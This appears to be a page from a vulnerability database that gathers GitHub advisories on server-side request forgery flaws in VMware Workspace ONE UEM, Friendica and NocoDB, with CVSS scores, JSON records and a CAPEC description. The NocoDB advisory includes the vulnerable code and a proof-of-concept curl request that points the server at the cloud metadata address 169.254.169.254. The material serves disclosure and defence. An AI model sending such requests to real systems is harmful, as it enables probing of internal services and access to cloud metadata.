      "url": "https://www.synology.com/security/advisory/Synology_SA_20_23"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-XQXH-CQ77-R6QH

Vulnerability from github – Published: 2021-12-18 00:00 – Updated: 2026-03-09 21:31
VLAI
Details

VMware Workspace ONE UEM console 20.0.8 prior to 20.0.8.37, 20.11.0 prior to 20.11.0.40, 21.2.0 prior to 21.2.0.27, and 21.5.0 prior to 21.5.0.37 contain an SSRF vulnerability. This issue may allow a malicious actor with network access to UEM to send their requests without authentication and to gain access to sensitive information.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-22054"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-12-17T17:15:00Z",
    "severity": "HIGH"
  },
  "details": "VMware Workspace ONE UEM console 20.0.8 prior to 20.0.8.37, 20.11.0 prior to 20.11.0.40, 21.2.0 prior to 21.2.0.27, and 21.5.0 prior to 21.5.0.37 contain an SSRF vulnerability. This issue may allow a malicious actor with network access to UEM to send their requests without authentication and to gain access to sensitive information.",
  "id": "GHSA-xqxh-cq77-r6qh",
  "modified": "2026-03-09T21:31:32Z",
  "published": "2021-12-18T00:00:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-22054"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-22054"
    },
    {
      "type": "WEB",
      "url": "https://www.greynoise.io/blog/new-ssrf-exploitation-surge"
    },
    {
      "type": "WEB",
      "url": "https://www.vmware.com/security/advisories/VMSA-2021-0029.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XR49-QH48-CFF9

Vulnerability from github – Published: 2024-04-03 03:30 – Updated: 2024-08-01 15:31
VLAI
Details

Server Side Request Forgery (SSRF) vulnerability in Friendica versions after v.2023.12, allows a remote attacker to execute arbitrary code and obtain sensitive information via the fpostit.php component.

Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-25864"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-03T03:15:09Z",
    "severity": "CRITICAL"
  },
  "details": "Server Side Request Forgery (SSRF) vulnerability in Friendica versions after v.2023.12, allows a remote attacker to execute arbitrary code and obtain sensitive information via the fpostit.php component.",
  "id": "GHSA-xr49-qh48-cff9",
  "modified": "2024-08-01T15:31:36Z",
  "published": "2024-04-03T03:30:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-25864"
    },
    {
      "type": "WEB",
      "url": "https://github.com/friendica/friendica/issues/13877"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XR7V-J379-34V9

Vulnerability from github – Published: 2026-01-28 21:41 – Updated: 2026-01-28 21:41
VLAI
Summary
NocoDB has Blind SSRF via Unvalidated HEAD Request in uploadViaURL Functionality
Details

Summary

A blind Server-Side Request Forgery (SSRF) vulnerability exists in the uploadViaURL functionality due to an unprotected HEAD request. While the subsequent file retrieval logic correctly enforces SSRF protections, the initial metadata request executes without validation.

This allows limited outbound requests to arbitrary URLs before SSRF controls are applied.

Vulnerability Details

The uploadViaURL() function issues an axios.head() request to retrieve metadata (content type, content length, and final URL after redirects). This request is performed without SSRF filtering.

Although the actual file download is protected by request filtering, the initial HEAD request occurs prior to these checks and can be triggered with an attacker-controlled URL.

Vulnerable Code

if (!url.startsWith('data:')) {
  response = await axios.head(url, { maxRedirects: 5 });
  mimeType = response.headers['content-type']?.split(';')[0];
  size = response.headers['content-length'];
  finalUrl = response.request.res.responseUrl;
}

Impact

The impact of this issue is limited due to the following constraints:

  • Only HEAD requests are affected (no response body is returned)
  • No direct exfiltration of response data occurs
  • The subsequent file-fetching logic enforces SSRF protections

However, the vulnerability may still allow:

  • Blind SSRF via outbound HEAD requests
  • Limited internal service probing (reachability and response behavior)
  • Interaction with sensitive internal endpoints that respond to HEAD requests

This issue does not provide arbitrary data access or full internal network compromise on its own.

Severity

Moderate

The vulnerability is limited in scope and impact:

  • Only HEAD requests are affected
  • No response body or sensitive data is directly returned
  • The actual file download logic enforces SSRF protections

While the issue permits blind outbound requests to attacker-controlled URLs, it does not enable direct data exfiltration or full internal network compromise on its own.

Proof of Concept

curl -X POST 'http://localhost:8080/api/v2/storage/upload-by-url' \
  -H 'Content-Type: application/json' \
  -H 'xc-auth: <token>' \
  -d '[{
    "url": "http://169.254.169.254/latest/meta-data/",
    "fileName": "test.txt"
  }]'

This request causes the server to issue an unfiltered HEAD request before SSRF protections are applied.

Acknowledgements

This issue was first identified and responsibly disclosed by Faizan Raza of Kolega.dev as part of a security assessment using Kolega.dev Deep Code Scan, including validation and fix recommendations.

NocoDB also acknowledges Neel B for independently reporting the same issue prior to publication.

NocoDB thanks Kolega.dev for their contribution to improving the security posture of the project.

Severity
4.9 (Medium)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "nocodb"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.301.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-24767"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-28T21:41:18Z",
    "nvd_published_at": "2026-01-28T21:16:12Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nA **blind Server-Side Request Forgery (SSRF)** vulnerability exists in the `uploadViaURL` functionality due to an unprotected `HEAD` request. While the subsequent file retrieval logic correctly enforces SSRF protections, the initial metadata request executes without validation.\n\nThis allows limited outbound requests to arbitrary URLs before SSRF controls are applied.\n\n---\n\n## Vulnerability Details\n\nThe `uploadViaURL()` function issues an `axios.head()` request to retrieve metadata (content type, content length, and final URL after redirects). This request is performed **without SSRF filtering**.\n\nAlthough the actual file download is protected by request filtering, the initial `HEAD` request occurs prior to these checks and can be triggered with an attacker-controlled URL.\n\n### Vulnerable Code\n\n```ts\nif (!url.startsWith(\u0027data:\u0027)) {\n  response = await axios.head(url, { maxRedirects: 5 });\n  mimeType = response.headers[\u0027content-type\u0027]?.split(\u0027;\u0027)[0];\n  size = response.headers[\u0027content-length\u0027];\n  finalUrl = response.request.res.responseUrl;\n}\n```\n\n---\n\n## Impact\n\nThe impact of this issue is **limited** due to the following constraints:\n\n* Only `HEAD` requests are affected (no response body is returned)\n* No direct exfiltration of response data occurs\n* The subsequent file-fetching logic enforces SSRF protections\n\nHowever, the vulnerability may still allow:\n\n* **Blind SSRF** via outbound `HEAD` requests\n* **Limited internal service probing** (reachability and response behavior)\n* **Interaction with sensitive internal endpoints** that respond to `HEAD` requests\n\nThis issue does **not** provide arbitrary data access or full internal network compromise on its own.\n\n---\n\n## Severity\n\n**Moderate**\n\nThe vulnerability is limited in scope and impact:\n\n* Only `HEAD` requests are affected\n* No response body or sensitive data is directly returned\n* The actual file download logic enforces SSRF protections\n\nWhile the issue permits blind outbound requests to attacker-controlled URLs, it does not enable direct data exfiltration or full internal network compromise on its own.\n\n---\n\n## Proof of Concept\n\n```bash\ncurl -X POST \u0027http://localhost:8080/api/v2/storage/upload-by-url\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -H \u0027xc-auth: \u003ctoken\u003e\u0027 \\\n  -d \u0027[{\n    \"url\": \"http://169.254.169.254/latest/meta-data/\",\n    \"fileName\": \"test.txt\"\n  }]\u0027\n```\n\nThis request causes the server to issue an unfiltered `HEAD` request before SSRF protections are applied.\n\n---\n\n## Acknowledgements\n\nThis issue was first identified and responsibly disclosed by Faizan Raza of Kolega.dev as part of a security assessment using Kolega.dev Deep Code Scan, including validation and fix recommendations.\n\nNocoDB also acknowledges Neel B for independently reporting the same issue prior to publication.\n\nNocoDB thanks Kolega.dev for their contribution to improving the security posture of the project.",
  "id": "GHSA-xr7v-j379-34v9",
  "modified": "2026-01-28T21:41:18Z",
  "published": "2026-01-28T21:41:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nocodb/nocodb/security/advisories/GHSA-xr7v-j379-34v9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24767"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nocodb/nocodb"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "NocoDB has Blind SSRF via Unvalidated HEAD Request in uploadViaURL Functionality"
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.

← Back to the CWE list